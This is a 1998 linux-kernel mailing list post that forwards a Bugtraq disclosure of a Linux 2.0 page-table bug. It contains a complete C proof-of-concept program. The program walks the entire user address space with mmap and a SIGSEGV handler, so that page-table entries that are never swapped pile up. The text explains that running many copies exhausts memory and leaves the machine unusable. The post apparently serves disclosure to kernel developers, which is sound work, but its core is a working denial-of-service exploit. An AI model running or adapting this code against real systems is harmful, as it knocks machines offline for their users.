linux 2.0 PTE bug (fwd)

Phil's Kernel Account (kernel@eiterra.nls.net)
Tue, 26 May 1998 21:18:32 -0400 (EDT)


I picked this one up off of bugtraq. Sorry if it's already known.

-Phil R. Jaenke (kernel@nls.net / prj@nls.net)
TheGuyInCharge(tm), Ketyra Designs - We get paid to break stuff :)
Linux pkrea.ketyra.INT 2.0.33 #15 Sat Apr 18 00:40:21 EDT 1998 i586
Linux eiterra.nls.net 2.1.98 #15 Fri May 1 18:21:00 EDT 1998 i586
- Linus says for 'brave people only.' I say 'keep a backup.' - :)
! I reserve the right to bill spammers for my time and disk space !

---------- Forwarded message ----------
Date: Mon, 25 May 1998 13:51:42 +0200
From: XXX_p6mip300 <p6mip300@INFOP6.CICRP.JUSSIEU.FR>
To: BUGTRAQ@NETSPACE.ORG
Subject: linux 2.0 PTE bug

Hi all,

there is the program :
--------------------------------------------------------------------------
/* the pte bug - Sed hacking linux kernel, 24 may 1998 */

unsigned long address;
int touch_me;
int fd;

#include <signal.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

void the_handler(int x)
{
signal(SIGSEGV, the_handler);

touch_me++;

if(mmap((void *)address, 4, PROT_READ,
MAP_FIXED|MAP_PRIVATE, fd, 0)==(void *)-1) {
perror("mmap");
exit(1);
}
}

void main(void)
{
/* volatile to fool GCC, we _WANT_ access *address */
volatile unsigned long i;

fd=open("pte.c", O_RDONLY);
if (fd==-1) {
perror("open");
exit(1);
}

signal(SIGSEGV, the_handler);

/* 3*1024*1024*1024 = TASK_SIZE,
* 1024*4096 = number of bytes one pte can map */
for (address=0; address<3*1024*1024*1024; address+=1024*4096) {
i=*(unsigned long *)address;
if (touch_me) {
touch_me=0;
munmap((void *)address, 4);
}
}

while(1)
pause();
}
-----------------------------------------------------------------------

The idea is to take a lot of memory. So, we map all our virtual pages,
to force the system to allow all the pte (am talking about PC box).
So, the process will have allocated 768 pages that will never be
swapped (that's the crucial point).

So, that's simple, you run this program as much time as you need to take
all the memory, and the PC won't be usable anymore (for my 64Mb box,
i need to run it about 20 times).

And then, you can have a wonderful light-show with your HD-led :) (PC will
spend its time in swapping).

How to solve it ?
Well, we could swap the pgd / pmd / pte, but i really don't know
if it is possible or what.

If this bug is already well know, am sorry to disturb with it.

It applies only on the 2.0 kernel, for the 2.1 (soon 2.2) i don't know
if it works, will have to read the source.

Sed.
p6mip300@infop6.cicrp.jussieu.fr.

-
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majordomo@vger.rutgers.edu